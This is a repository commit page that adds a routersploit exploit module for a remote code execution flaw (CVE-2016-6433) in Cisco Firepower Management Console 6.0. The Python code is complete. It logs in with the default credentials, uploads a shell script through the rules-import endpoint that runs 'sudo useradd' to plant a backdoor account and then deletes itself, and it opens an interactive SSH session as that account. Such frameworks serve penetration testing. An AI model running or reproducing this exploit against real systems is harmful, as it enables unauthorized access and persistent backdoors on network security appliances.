Commit 74cf14c2 by lucyoa

Cisco Firepower Management 6.0 RCE exploit

parent 20dc0712
import requests
import paramiko
import re
from routersploit import (
exploits,
print_success,
print_status,
print_error,
mute,
validators,
http_request,
random_text,
ssh_interactive
)
class Exploit(exploits.Exploit):
"""
Exploit implementation for Cisco Firepower Management 6.0 Remote Code Execution vulnerability.
If the target is vulnerable, it is possible to retrieve content of the arbitrary files.
"""
__info__ = {
'name': 'Cisco Firepower Management 6.0 RCE',
'description': 'Module exploits Cisco Firepower Management 6.0 Remote Code Execution vulnerability.'
'If the target is vulnerable, it is create backdoor account and authenticate through SSH service.',
'authors': [
'Matt', # vulnerability discovery
'sinn3r', # Metasploit module
'Marcin Bury <marcin.bury[at]reverse-shell.com>', # routersploit module
],
'references': [
'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6433',
'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking',
],
'devices': [
'Cisco Firepower Management Console 6.0'
],
}
target = exploits.Option('', 'Target IP address', validators=validators.url)
port = exploits.Option(443, 'Target Port')
username = exploits.Option('admin', 'Default username to log in')
password = exploits.Option('Admin123', 'Default password to log in')
newusername = exploits.Option('', 'New backdoor username (Default: Random')
newpassword = exploits.Option('', 'New backdoor password (Default: Random')
session = None
def run(self):
self.session = requests.Session()
if self.check():
print_success("Target seems to be vulnerable")
if self.login():
if not self.newusername:
self.newusername = random_text(8)
if not self.newpassword:
self.newpassword = random_text(8)
self.create_ssh_backdoor(self.newusername, self.newpassword)
# Log into the SSH backdoor account
self.init_ssh_session(self.newusername, self.newpassword)
else:
print_error("Exploit failed. Could not log in")
else:
print_error("Exploit failed. Target seems to be not vulnerable.")
@mute
def check(self):
url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is not None and response.status_code == 200:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
target = self.target.replace("http://", "").replace("https://", "")
try:
ssh.connect(target, 22, timeout=5, username=random_text(8), password=random_text(8))
except paramiko.AuthenticationException:
return True # target is vulnerable
except:
pass
return False # target is not vulnerable
def login(self):
url = "{}:{}/login.cgi?logout=1".format(self.target, self.port)
data = {"username": self.username,
"password": self.password,
"target": ""}
print_status("Trying to authenticate")
response = http_request(method="POST", url=url, data=data, allow_redirects=False, session=self.session)
if response is None:
return False
if response.status_code == 302 and "CGISESSID" in response.cookies.keys():
print_status("CGI Session ID: {}".format(response.cookies['CGISESSID']))
print_success("Authenticated as {}:{}".format(self.username, self.password))
return True
print_error("Exploit failed. Could not authenticate.")
return False
def create_ssh_backdoor(self, username, password):
url = "{}:{}/DetectionPolicy/rules/rulesimport.cgi".format(self.target, self.port)
sh_name = 'exploit.sh'
sf_action_id = self.get_sf_action_id()
payload = "sudo useradd -g ldapgroup -p `openssl passwd -1 {}` {}; rm /var/sf/SRU/{}".format(password, username, sh_name)
print_status("Attempting to create SSH backdoor")
multipart_form_data = {"action_submit": (None, "Import"),
"source": (None, "file"),
"manual_update": (None, "1"),
"sf_action_id": (None, sf_action_id),
"file": (sh_name, payload)}
try:
http_request(method="POST", url=url, files=multipart_form_data, session=self.session)
except:
pass
return
def get_sf_action_id(self):
print_status("Attempting to obtain sf_action_id from rulesimport.cgi")
url = "{}:{}/DetectionPolicy/rules/rulesimport.cgi".format(self.target, self.port)
response = http_request(method="GET", url=url, session=self.session)
if response is None:
return None
res = re.findall("sf_action_id = '(.+)';", response.text)
if len(res) > 1:
print_status("Found sf_action_id: {}".format(res[1]))
return res[1]
return None
def init_ssh_session(self, username, password):
print_status("Trying to authenticate through SSH with username: {} password:{} account".format(username, password))
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
target = self.target.replace("http://", "").replace("https://", "")
try:
ssh.connect(target, 22, timeout=5, username=username, password=password)
except:
ssh.close()
else:
print_success("SSH - Successful authentication")
ssh_interactive(ssh)
return
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment